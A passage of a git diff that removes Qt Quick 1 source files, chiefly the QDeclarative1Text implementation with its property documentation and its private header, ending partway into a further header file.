1.0 - \brief The Text item allows you to add formatted text to a scene. - \inherits Item - - Text items can display both plain and rich text. For example, red text with - a specific font and size can be defined like this: - - \qml - Text { - text: "Hello World!" - font.family: "Helvetica" - font.pointSize: 24 - color: "red" - } - \endqml - - Rich text is defined using HTML-style markup: - - \qml - Text { - text: "Hello World!" - } - \endqml - - \image declarative-text.png - - If height and width are not explicitly set, Text will attempt to determine how - much room is needed and set it accordingly. Unless \l wrapMode is set, it will always - prefer width to height (all text will be placed on a single line). - - The \l elide property can alternatively be used to fit a single line of - plain text to a set width. - - Note that the \l{Supported HTML Subset} is limited. Also, if the text contains - HTML img tags that load remote images, the text is reloaded. - - Text provides read-only text. For editable text, see \l TextEdit. - - \sa {declarative/text/fonts}{Fonts example} -*/ -QDeclarative1Text::QDeclarative1Text(QDeclarativeItem *parent) - : QDeclarative1ImplicitSizeItem(*(new QDeclarative1TextPrivate), parent) -{ -} - -QDeclarative1Text::~QDeclarative1Text() -{ -} - -/*! - \qmlproperty bool QtQuick1::Text::clip - This property holds whether the text is clipped. - - Note that if the text does not fit in the bounding rectangle it will be abruptly chopped. - - If you want to display potentially long text in a limited space, you probably want to use \c elide instead. -*/ - -/*! - \qmlproperty bool QtQuick1::Text::smooth - - This property holds whether the text is smoothly scaled or transformed. - - Smooth filtering gives better visual quality, but is slower. If - the item is displayed at its natural size, this property has no visual or - performance effect. - - \note Generally scaling artifacts are only visible if the item is stationary on - the screen. A common pattern when animating an item is to disable smooth - filtering at the beginning of the animation and reenable it at the conclusion. -*/ - -/*! - \qmlsignal QtQuick1::Text::onLinkActivated(string link) - - This handler is called when the user clicks on a link embedded in the text. - The link must be in rich text or HTML format and the - \a link string provides access to the particular link. - - \snippet doc/src/snippets/qtquick1/text/onLinkActivated.qml 0 - - The example code will display the text - "The main website is at \l{http://qt.nokia.com}{Nokia Qt DF}." - - Clicking on the highlighted link will output - \tt{http://qt.nokia.com link activated} to the console. -*/ - -/*! - \qmlproperty string QtQuick1::Text::font.family - - Sets the family name of the font. - - The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]". - If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen. - If the family isn't available a family will be set using the font matching algorithm. -*/ - -/*! - \qmlproperty bool QtQuick1::Text::font.bold - - Sets whether the font weight is bold. -*/ - -/*! - \qmlproperty enumeration QtQuick1::Text::font.weight - - Sets the font's weight. - - The weight can be one of: - \list - \o Font.Light - \o Font.Normal - the default - \o Font.DemiBold - \o Font.Bold - \o Font.Black - \endlist - - \qml - Text { text: "Hello"; font.weight: Font.DemiBold } - \endqml -*/ - -/*! - \qmlproperty bool QtQuick1::Text::font.italic - - Sets whether the font has an italic style. -*/ - -/*! - \qmlproperty bool QtQuick1::Text::font.underline - - Sets whether the text is underlined. -*/ - -/*! - \qmlproperty bool QtQuick1::Text::font.strikeout - - Sets whether the font has a strikeout style. -*/ - -/*! - \qmlproperty real QtQuick1::Text::font.pointSize - - Sets the font size in points. The point size must be greater than zero. -*/ - -/*! - \qmlproperty int QtQuick1::Text::font.pixelSize - - Sets the font size in pixels. - - Using this function makes the font device dependent. - Use \c pointSize to set the size of the font in a device independent manner. -*/ - -/*! - \qmlproperty real QtQuick1::Text::font.letterSpacing - - Sets the letter spacing for the font. - - Letter spacing changes the default spacing between individual letters in the font. - A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing. -*/ - -/*! - \qmlproperty real QtQuick1::Text::font.wordSpacing - - Sets the word spacing for the font. - - Word spacing changes the default spacing between individual words. - A positive value increases the word spacing by a corresponding amount of pixels, - while a negative value decreases the inter-word spacing accordingly. -*/ - -/*! - \qmlproperty enumeration QtQuick1::Text::font.capitalization - - Sets the capitalization for the text. - - \list - \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied. - \o Font.AllUppercase - This alters the text to be rendered in all uppercase type. - \o Font.AllLowercase - This alters the text to be rendered in all lowercase type. - \o Font.SmallCaps - This alters the text to be rendered in small-caps type. - \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character. - \endlist - - \qml - Text { text: "Hello"; font.capitalization: Font.AllLowercase } - \endqml -*/ -QFont QDeclarative1Text::font() const -{ - Q_D(const QDeclarative1Text); - return d->sourceFont; -} - -void QDeclarative1Text::setFont(const QFont &font) -{ - Q_D(QDeclarative1Text); - if (d->sourceFont == font) - return; - - d->sourceFont = font; - QFont oldFont = d->font; - d->font = font; - if (d->font.pointSizeF() != -1) { - // 0.5pt resolution - qreal size = qRound(d->font.pointSizeF()*2.0); - d->font.setPointSizeF(size/2.0); - } - - if (oldFont != d->font) - d->updateLayout(); - - emit fontChanged(d->sourceFont); -} - -/*! - \qmlproperty string QtQuick1::Text::text - - The text to display. Text supports both plain and rich text strings. - - The item will try to automatically determine whether the text should - be treated as rich text. This determination is made using Qt::mightBeRichText(). -*/ -QString QDeclarative1Text::text() const -{ - Q_D(const QDeclarative1Text); - return d->text; -} - -void QDeclarative1Text::setText(const QString &n) -{ - Q_D(QDeclarative1Text); - if (d->text == n) - return; - - d->richText = d->format == RichText || (d->format == AutoText && Qt::mightBeRichText(n)); - d->text = n; - if (isComponentComplete()) { - if (d->richText) { - d->ensureDoc(); - d->doc->setText(n); - d->rightToLeftText = d->doc->toPlainText().isRightToLeft(); - } else { - d->rightToLeftText = d->text.isRightToLeft(); - } - d->determineHorizontalAlignment(); - } - d->updateLayout(); - emit textChanged(d->text); -} - - -/*! - \qmlproperty color QtQuick1::Text::color - - The text color. - - An example of green text defined using hexadecimal notation: - \qml - Text { - color: "#00FF00" - text: "green text" - } - \endqml - - An example of steel blue text defined using an SVG color name: - \qml - Text { - color: "steelblue" - text: "blue text" - } - \endqml -*/ -QColor QDeclarative1Text::color() const -{ - Q_D(const QDeclarative1Text); - return d->color; -} - -void QDeclarative1Text::setColor(const QColor &color) -{ - Q_D(QDeclarative1Text); - if (d->color == color) - return; - - d->color = color; - d->invalidateImageCache(); - emit colorChanged(d->color); -} - -/*! - \qmlproperty enumeration QtQuick1::Text::style - - Set an additional text style. - - Supported text styles are: - \list - \o Text.Normal - the default - \o Text.Outline - \o Text.Raised - \o Text.Sunken - \endlist - - \qml - Row { - Text { font.pointSize: 24; text: "Normal" } - Text { font.pointSize: 24; text: "Raised"; style: Text.Raised; styleColor: "#AAAAAA" } - Text { font.pointSize: 24; text: "Outline";style: Text.Outline; styleColor: "red" } - Text { font.pointSize: 24; text: "Sunken"; style: Text.Sunken; styleColor: "#AAAAAA" } - } - \endqml - - \image declarative-textstyle.png -*/ -QDeclarative1Text::TextStyle QDeclarative1Text::style() const -{ - Q_D(const QDeclarative1Text); - return d->style; -} - -void QDeclarative1Text::setStyle(QDeclarative1Text::TextStyle style) -{ - Q_D(QDeclarative1Text); - if (d->style == style) - return; - - // changing to/from Normal requires the boundingRect() to change - if (isComponentComplete() && (d->style == Normal || style == Normal)) - prepareGeometryChange(); - d->style = style; - d->invalidateImageCache(); - emit styleChanged(d->style); -} - -/*! - \qmlproperty color QtQuick1::Text::styleColor - - Defines the secondary color used by text styles. - - \c styleColor is used as the outline color for outlined text, and as the - shadow color for raised or sunken text. If no style has been set, it is not - used at all. - - \qml - Text { font.pointSize: 18; text: "hello"; style: Text.Raised; styleColor: "gray" } - \endqml - - \sa style - */ -QColor QDeclarative1Text::styleColor() const -{ - Q_D(const QDeclarative1Text); - return d->styleColor; -} - -void QDeclarative1Text::setStyleColor(const QColor &color) -{ - Q_D(QDeclarative1Text); - if (d->styleColor == color) - return; - - d->styleColor = color; - d->invalidateImageCache(); - emit styleColorChanged(d->styleColor); -} - - -/*! - \qmlproperty enumeration QtQuick1::Text::horizontalAlignment - \qmlproperty enumeration QtQuick1::Text::verticalAlignment - \qmlproperty enumeration QtQuick1::Text::effectiveHorizontalAlignment - - Sets the horizontal and vertical alignment of the text within the Text items - width and height. By default, the text is vertically aligned to the top. Horizontal - alignment follows the natural alignment of the text, for example text that is read - from left to right will be aligned to the left. - - The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight, \c Text.AlignHCenter and - \c Text.AlignJustify. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom - and \c Text.AlignVCenter. - - Note that for a single line of text, the size of the text is the area of the text. In this common case, - all alignments are equivalent. If you want the text to be, say, centered in its parent, then you will - need to either modify the Item::anchors, or set horizontalAlignment to Text.AlignHCenter and bind the width to - that of the parent. - - When using the attached property LayoutMirroring::enabled to mirror application - layouts, the horizontal alignment of text will also be mirrored. However, the property - \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment - of Text, use the read-only property \c effectiveHorizontalAlignment. -*/ -QDeclarative1Text::HAlignment QDeclarative1Text::hAlign() const -{ - Q_D(const QDeclarative1Text); - return d->hAlign; -} - -void QDeclarative1Text::setHAlign(HAlignment align) -{ - Q_D(QDeclarative1Text); - bool forceAlign = d->hAlignImplicit && d->effectiveLayoutMirror; - d->hAlignImplicit = false; - if (d->setHAlign(align, forceAlign) && isComponentComplete()) - d->updateLayout(); -} - -void QDeclarative1Text::resetHAlign() -{ - Q_D(QDeclarative1Text); - d->hAlignImplicit = true; - if (d->determineHorizontalAlignment() && isComponentComplete()) - d->updateLayout(); -} - -QDeclarative1Text::HAlignment QDeclarative1Text::effectiveHAlign() const -{ - Q_D(const QDeclarative1Text); - QDeclarative1Text::HAlignment effectiveAlignment = d->hAlign; - if (!d->hAlignImplicit && d->effectiveLayoutMirror) { - switch (d->hAlign) { - case QDeclarative1Text::AlignLeft: - effectiveAlignment = QDeclarative1Text::AlignRight; - break; - case QDeclarative1Text::AlignRight: - effectiveAlignment = QDeclarative1Text::AlignLeft; - break; - default: - break; - } - } - return effectiveAlignment; -} - -bool QDeclarative1TextPrivate::setHAlign(QDeclarative1Text::HAlignment alignment, bool forceAlign) -{ - Q_Q(QDeclarative1Text); - if (hAlign != alignment || forceAlign) { - QDeclarative1Text::HAlignment oldEffectiveHAlign = q->effectiveHAlign(); - hAlign = alignment; - - emit q->horizontalAlignmentChanged(hAlign); - if (oldEffectiveHAlign != q->effectiveHAlign()) - emit q->effectiveHorizontalAlignmentChanged(); - return true; - } - return false; -} - -bool QDeclarative1TextPrivate::determineHorizontalAlignment() -{ - Q_Q(QDeclarative1Text); - if (hAlignImplicit && q->isComponentComplete()) { - bool alignToRight = text.isEmpty() ? qApp->inputPanel()->inputDirection() == Qt::RightToLeft : rightToLeftText; - return setHAlign(alignToRight ? QDeclarative1Text::AlignRight : QDeclarative1Text::AlignLeft); - } - return false; -} - -void QDeclarative1TextPrivate::mirrorChange() -{ - Q_Q(QDeclarative1Text); - if (q->isComponentComplete()) { - if (!hAlignImplicit && (hAlign == QDeclarative1Text::AlignRight || hAlign == QDeclarative1Text::AlignLeft)) { - updateLayout(); - emit q->effectiveHorizontalAlignmentChanged(); - } - } -} - -QTextDocument *QDeclarative1TextPrivate::textDocument() -{ - return doc; -} - -QDeclarative1Text::VAlignment QDeclarative1Text::vAlign() const -{ - Q_D(const QDeclarative1Text); - return d->vAlign; -} - -void QDeclarative1Text::setVAlign(VAlignment align) -{ - Q_D(QDeclarative1Text); - if (d->vAlign == align) - return; - - if (isComponentComplete()) - prepareGeometryChange(); - d->vAlign = align; - emit verticalAlignmentChanged(align); -} - -/*! - \qmlproperty enumeration QtQuick1::Text::wrapMode - - Set this property to wrap the text to the Text item's width. The text will only - wrap if an explicit width has been set. wrapMode can be one of: - - \list - \o Text.NoWrap (default) - no wrapping will be performed. If the text contains insufficient newlines, then \l paintedWidth will exceed a set width. - \o Text.WordWrap - wrapping is done on word boundaries only. If a word is too long, \l paintedWidth will exceed a set width. - \o Text.WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word. - \o Text.Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word. - \endlist -*/ -QDeclarative1Text::WrapMode QDeclarative1Text::wrapMode() const -{ - Q_D(const QDeclarative1Text); - return d->wrapMode; -} - -void QDeclarative1Text::setWrapMode(WrapMode mode) -{ - Q_D(QDeclarative1Text); - if (mode == d->wrapMode) - return; - - d->wrapMode = mode; - d->updateLayout(); - - emit wrapModeChanged(); -} - -/*! - \qmlproperty int QtQuick1::Text::lineCount - \since Quick 1.1 - - Returns the number of lines visible in the text item. - - This property is not supported for rich text. - - \sa maximumLineCount -*/ -int QDeclarative1Text::lineCount() const -{ - Q_D(const QDeclarative1Text); - return d->lineCount; -} - -/*! - \qmlproperty bool QtQuick1::Text::truncated - \since Quick 1.1 - - Returns true if the text has been truncated due to \l maximumLineCount - or \l elide. - - This property is not supported for rich text. - - \sa maximumLineCount, elide -*/ -bool QDeclarative1Text::truncated() const -{ - Q_D(const QDeclarative1Text); - return d->truncated; -} - -/*! - \qmlproperty int QtQuick1::Text::maximumLineCount - \since Quick 1.1 - - Set this property to limit the number of lines that the text item will show. - If elide is set to Text.ElideRight, the text will be elided appropriately. - By default, this is the value of the largest possible integer. - - This property is not supported for rich text. - - \sa lineCount, elide -*/ -int QDeclarative1Text::maximumLineCount() const -{ - Q_D(const QDeclarative1Text); - return d->maximumLineCount; -} - -void QDeclarative1Text::setMaximumLineCount(int lines) -{ - Q_D(QDeclarative1Text); - - d->maximumLineCountValid = lines==INT_MAX ? false : true; - if (d->maximumLineCount != lines) { - d->maximumLineCount = lines; - d->updateLayout(); - emit maximumLineCountChanged(); - } -} - -void QDeclarative1Text::resetMaximumLineCount() -{ - Q_D(QDeclarative1Text); - setMaximumLineCount(INT_MAX); - d->elidePos = QPointF(); - if (d->truncated != false) { - d->truncated = false; - emit truncatedChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::Text::textFormat - - The way the text property should be displayed. - - Supported text formats are: - - \list - \o Text.AutoText (default) - \o Text.PlainText - \o Text.RichText - \o Text.StyledText - \endlist - - If the text format is \c Text.AutoText the text element - will automatically determine whether the text should be treated as - rich text. This determination is made using Qt::mightBeRichText(). - - Text.StyledText is an optimized format supporting some basic text - styling markup, in the style of html 3.2: - - \code - font size and color - bold - italic -
- > < & - \endcode - - \c Text.StyledText parser is strict, requiring tags to be correctly nested. - - \table - \row - \o - \qml -Column { - Text { - font.pointSize: 24 - text: "Hello World!" - } - Text { - font.pointSize: 24 - textFormat: Text.RichText - text: "Hello World!" - } - Text { - font.pointSize: 24 - textFormat: Text.PlainText - text: "Hello World!" - } -} - \endqml - \o \image declarative-textformat.png - \endtable -*/ -QDeclarative1Text::TextFormat QDeclarative1Text::textFormat() const -{ - Q_D(const QDeclarative1Text); - return d->format; -} - -void QDeclarative1Text::setTextFormat(TextFormat format) -{ - Q_D(QDeclarative1Text); - if (format == d->format) - return; - d->format = format; - bool wasRich = d->richText; - d->richText = format == RichText || (format == AutoText && Qt::mightBeRichText(d->text)); - - if (!wasRich && d->richText && isComponentComplete()) { - d->ensureDoc(); - d->doc->setText(d->text); - } - - d->updateLayout(); - - emit textFormatChanged(d->format); -} - -/*! - \qmlproperty enumeration QtQuick1::Text::elide - - Set this property to elide parts of the text fit to the Text item's width. - The text will only elide if an explicit width has been set. - - This property cannot be used with rich text. - - Eliding can be: - \list - \o Text.ElideNone - the default - \o Text.ElideLeft - \o Text.ElideMiddle - \o Text.ElideRight - \endlist - - If this property is set to Text.ElideRight, it can be used with multiline - text. The text will only elide if maximumLineCount has been set. - - If the text is a multi-length string, and the mode is not \c Text.ElideNone, - the first string that fits will be used, otherwise the last will be elided. - - Multi-length strings are ordered from longest to shortest, separated by the - Unicode "String Terminator" character \c U009C (write this in QML with \c{"\u009C"} or \c{"\x9C"}). -*/ -QDeclarative1Text::TextElideMode QDeclarative1Text::elideMode() const -{ - Q_D(const QDeclarative1Text); - return d->elideMode; -} - -void QDeclarative1Text::setElideMode(QDeclarative1Text::TextElideMode mode) -{ - Q_D(QDeclarative1Text); - if (mode == d->elideMode) - return; - - d->elideMode = mode; - d->updateLayout(); - - emit elideModeChanged(d->elideMode); -} - -/*! \internal */ -QRectF QDeclarative1Text::boundingRect() const -{ - Q_D(const QDeclarative1Text); - - QRect rect = d->layedOutTextRect; - if (d->style != Normal) - rect.adjust(-1, 0, 1, 2); - - // Could include font max left/right bearings to either side of rectangle. - - int h = height(); - switch (d->vAlign) { - case AlignTop: - break; - case AlignBottom: - rect.moveTop(h - rect.height()); - break; - case AlignVCenter: - rect.moveTop((h - rect.height()) / 2); - break; - } - - return QRectF(rect); -} - -/*! \internal */ -void QDeclarative1Text::geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry) -{ - Q_D(QDeclarative1Text); - if ((!d->internalWidthUpdate && newGeometry.width() != oldGeometry.width()) - && (d->wrapMode != QDeclarative1Text::NoWrap - || d->elideMode != QDeclarative1Text::ElideNone - || d->hAlign != QDeclarative1Text::AlignLeft)) { - if ((d->singleline || d->maximumLineCountValid) && d->elideMode != QDeclarative1Text::ElideNone && widthValid()) { - // We need to re-elide - d->updateLayout(); - } else { - // We just need to re-layout - d->updateSize(); - } - } - - QDeclarativeItem::geometryChanged(newGeometry, oldGeometry); -} - -/*! - \qmlproperty real QtQuick1::Text::paintedWidth - - Returns the width of the text, including width past the width - which is covered due to insufficient wrapping if WrapMode is set. -*/ -qreal QDeclarative1Text::paintedWidth() const -{ - Q_D(const QDeclarative1Text); - return d->paintedSize.width(); -} - -/*! - \qmlproperty real QtQuick1::Text::paintedHeight - - Returns the height of the text, including height past the height - which is covered due to there being more text than fits in the set height. -*/ -qreal QDeclarative1Text::paintedHeight() const -{ - Q_D(const QDeclarative1Text); - return d->paintedSize.height(); -} - -/*! - \qmlproperty real QtQuick1::Text::lineHeight - \since Quick 1.1 - - Sets the line height for the text. - The value can be in pixels or a multiplier depending on lineHeightMode. - - The default value is a multiplier of 1.0. - The line height must be a positive value. -*/ -qreal QDeclarative1Text::lineHeight() const -{ - Q_D(const QDeclarative1Text); - return d->lineHeight; -} - -void QDeclarative1Text::setLineHeight(qreal lineHeight) -{ - Q_D(QDeclarative1Text); - - if ((d->lineHeight == lineHeight) || (lineHeight < 0.0)) - return; - - d->lineHeight = lineHeight; - d->updateLayout(); - emit lineHeightChanged(lineHeight); -} - -/*! - \qmlproperty enumeration QtQuick1::Text::lineHeightMode - - This property determines how the line height is specified. - The possible values are: - - \list - \o Text.ProportionalHeight (default) - this sets the spacing proportional to the - line (as a multiplier). For example, set to 2 for double spacing. - \o Text.FixedHeight - this sets the line height to a fixed line height (in pixels). - \endlist -*/ -QDeclarative1Text::LineHeightMode QDeclarative1Text::lineHeightMode() const -{ - Q_D(const QDeclarative1Text); - return d->lineHeightMode; -} - -void QDeclarative1Text::setLineHeightMode(LineHeightMode mode) -{ - Q_D(QDeclarative1Text); - if (mode == d->lineHeightMode) - return; - - d->lineHeightMode = mode; - d->updateLayout(); - - emit lineHeightModeChanged(mode); -} - -/*! - Returns the number of resources (images) that are being loaded asynchronously. -*/ -int QDeclarative1Text::resourcesLoading() const -{ - Q_D(const QDeclarative1Text); - return d->doc ? d->doc->resourcesLoading() : 0; -} - -/*! \internal */ -void QDeclarative1Text::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) -{ - Q_D(QDeclarative1Text); - - if (d->cacheAllTextAsImage || d->style != Normal) { - d->checkImageCache(); - if (d->imageCache.isNull()) - return; - - bool oldAA = p->testRenderHint(QPainter::Antialiasing); - bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); - if (d->smooth) - p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); - - QRect br = boundingRect().toRect(); - - bool needClip = clip() && (d->imageCache.width() > width() || - d->imageCache.height() > height()); - - if (needClip) - p->drawPixmap(0, 0, width(), height(), d->imageCache, -br.x(), -br.y(), width(), height()); - else - p->drawPixmap(br.x(), br.y(), d->imageCache); - - if (d->smooth) { - p->setRenderHint(QPainter::Antialiasing, oldAA); - p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); - } - } else { - QRectF bounds = boundingRect(); - - bool needClip = clip() && (d->layedOutTextRect.width() > width() || - d->layedOutTextRect.height() > height()); - - if (needClip) { - p->save(); - p->setClipRect(0, 0, width(), height(), Qt::IntersectClip); - } - if (d->richText) { - QAbstractTextDocumentLayout::PaintContext context; - context.palette.setColor(QPalette::Text, d->color); - p->translate(bounds.x(), bounds.y()); - d->doc->documentLayout()->draw(p, context); - p->translate(-bounds.x(), -bounds.y()); - } else { - d->drawTextLayout(p, QPointF(0, bounds.y()), false); - } - - if (needClip) { - p->restore(); - } - } -} - -/*! \internal */ -void QDeclarative1Text::componentComplete() -{ - Q_D(QDeclarative1Text); - QDeclarativeItem::componentComplete(); - if (d->updateOnComponentComplete) { - d->updateOnComponentComplete = false; - if (d->richText) { - d->ensureDoc(); - d->doc->setText(d->text); - d->rightToLeftText = d->doc->toPlainText().isRightToLeft(); - } else { - d->rightToLeftText = d->text.isRightToLeft(); - } - d->determineHorizontalAlignment(); - d->updateLayout(); - } -} - -/*! \internal */ -void QDeclarative1Text::mousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1Text); - - if (!d->richText || !d->doc || d->doc->documentLayout()->anchorAt(event->pos()).isEmpty()) { - event->setAccepted(false); - d->activeLink.clear(); - } else { - d->activeLink = d->doc->documentLayout()->anchorAt(event->pos()); - } - - // ### may malfunction if two of the same links are clicked & dragged onto each other) - - if (!event->isAccepted()) - QDeclarativeItem::mousePressEvent(event); - -} - -/*! \internal */ -void QDeclarative1Text::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1Text); - - // ### confirm the link, and send a signal out - if (d->richText && d->doc && d->activeLink == d->doc->documentLayout()->anchorAt(event->pos())) - emit linkActivated(d->activeLink); - else - event->setAccepted(false); - - if (!event->isAccepted()) - QDeclarativeItem::mouseReleaseEvent(event); -} - - - -QT_END_NAMESPACE - -#include "qdeclarativetext.moc" diff --git a/src/qtquick1/graphicsitems/qdeclarativetext_p.h b/src/qtquick1/graphicsitems/qdeclarativetext_p.h deleted file mode 100644 index bf78cfdd50..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetext_p.h +++ /dev/null @@ -1,212 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETEXT_H -#define QDECLARATIVETEXT_H - -#include -#include "qdeclarativeimplicitsizeitem_p.h" - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarative1TextPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1Text : public QDeclarative1ImplicitSizeItem -{ - Q_OBJECT - Q_ENUMS(HAlignment) - Q_ENUMS(VAlignment) - Q_ENUMS(TextStyle) - Q_ENUMS(TextFormat) - Q_ENUMS(TextElideMode) - Q_ENUMS(WrapMode) - Q_ENUMS(LineHeightMode) - - Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) - Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged) - Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) - Q_PROPERTY(TextStyle style READ style WRITE setStyle NOTIFY styleChanged) - Q_PROPERTY(QColor styleColor READ styleColor WRITE setStyleColor NOTIFY styleColorChanged) - Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign RESET resetHAlign NOTIFY horizontalAlignmentChanged) - Q_PROPERTY(HAlignment effectiveHorizontalAlignment READ effectiveHAlign NOTIFY effectiveHorizontalAlignmentChanged REVISION 1) - Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged) - Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged) - Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1) - Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged REVISION 1) - Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount REVISION 1) - - Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged) - Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode? - Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged) - Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged) - Q_PROPERTY(qreal lineHeight READ lineHeight WRITE setLineHeight NOTIFY lineHeightChanged REVISION 1) - Q_PROPERTY(LineHeightMode lineHeightMode READ lineHeightMode WRITE setLineHeightMode NOTIFY lineHeightModeChanged REVISION 1) - -public: - QDeclarative1Text(QDeclarativeItem *parent=0); - ~QDeclarative1Text(); - - enum HAlignment { AlignLeft = Qt::AlignLeft, - AlignRight = Qt::AlignRight, - AlignHCenter = Qt::AlignHCenter, - AlignJustify = Qt::AlignJustify }; // ### VERSIONING: Only in QtQuick 1.1 - enum VAlignment { AlignTop = Qt::AlignTop, - AlignBottom = Qt::AlignBottom, - AlignVCenter = Qt::AlignVCenter }; - enum TextStyle { Normal, - Outline, - Raised, - Sunken }; - enum TextFormat { PlainText = Qt::PlainText, - RichText = Qt::RichText, - AutoText = Qt::AutoText, - StyledText = 4 }; - enum TextElideMode { ElideLeft = Qt::ElideLeft, - ElideRight = Qt::ElideRight, - ElideMiddle = Qt::ElideMiddle, - ElideNone = Qt::ElideNone }; - - enum WrapMode { NoWrap = QTextOption::NoWrap, - WordWrap = QTextOption::WordWrap, - WrapAnywhere = QTextOption::WrapAnywhere, - WrapAtWordBoundaryOrAnywhere = QTextOption::WrapAtWordBoundaryOrAnywhere, // COMPAT - Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere - }; - - enum LineHeightMode { ProportionalHeight, FixedHeight }; - - QString text() const; - void setText(const QString &); - - QFont font() const; - void setFont(const QFont &font); - - QColor color() const; - void setColor(const QColor &c); - - TextStyle style() const; - void setStyle(TextStyle style); - - QColor styleColor() const; - void setStyleColor(const QColor &c); - - HAlignment hAlign() const; - void setHAlign(HAlignment align); - void resetHAlign(); - HAlignment effectiveHAlign() const; - - VAlignment vAlign() const; - void setVAlign(VAlignment align); - - WrapMode wrapMode() const; - void setWrapMode(WrapMode w); - - int lineCount() const; - bool truncated() const; - - int maximumLineCount() const; - void setMaximumLineCount(int lines); - void resetMaximumLineCount(); - - TextFormat textFormat() const; - void setTextFormat(TextFormat format); - - TextElideMode elideMode() const; - void setElideMode(TextElideMode); - - qreal lineHeight() const; - void setLineHeight(qreal lineHeight); - - LineHeightMode lineHeightMode() const; - void setLineHeightMode(LineHeightMode); - - void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); - - virtual void componentComplete(); - - int resourcesLoading() const; // mainly for testing - - qreal paintedWidth() const; - qreal paintedHeight() const; - - QRectF boundingRect() const; - -Q_SIGNALS: - void textChanged(const QString &text); - void linkActivated(const QString &link); - void fontChanged(const QFont &font); - void colorChanged(const QColor &color); - void styleChanged(TextStyle style); - void styleColorChanged(const QColor &color); - void horizontalAlignmentChanged(HAlignment alignment); - void verticalAlignmentChanged(VAlignment alignment); - void wrapModeChanged(); - Q_REVISION(1) void lineCountChanged(); - Q_REVISION(1) void truncatedChanged(); - Q_REVISION(1) void maximumLineCountChanged(); - void textFormatChanged(TextFormat textFormat); - void elideModeChanged(TextElideMode mode); - void paintedSizeChanged(); - Q_REVISION(1) void lineHeightChanged(qreal lineHeight); - Q_REVISION(1) void lineHeightModeChanged(LineHeightMode mode); - Q_REVISION(1) void effectiveHorizontalAlignmentChanged(); - -protected: - void mousePressEvent(QGraphicsSceneMouseEvent *event); - void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); - virtual void geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry); - -private: - Q_DISABLE_COPY(QDeclarative1Text) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1Text) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Text) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativetext_p_p.h b/src/qtquick1/graphicsitems/qdeclarativetext_p_p.h deleted file mode 100644 index 0d40ab80ee..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetext_p_p.h +++ /dev/null @@ -1,143 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** 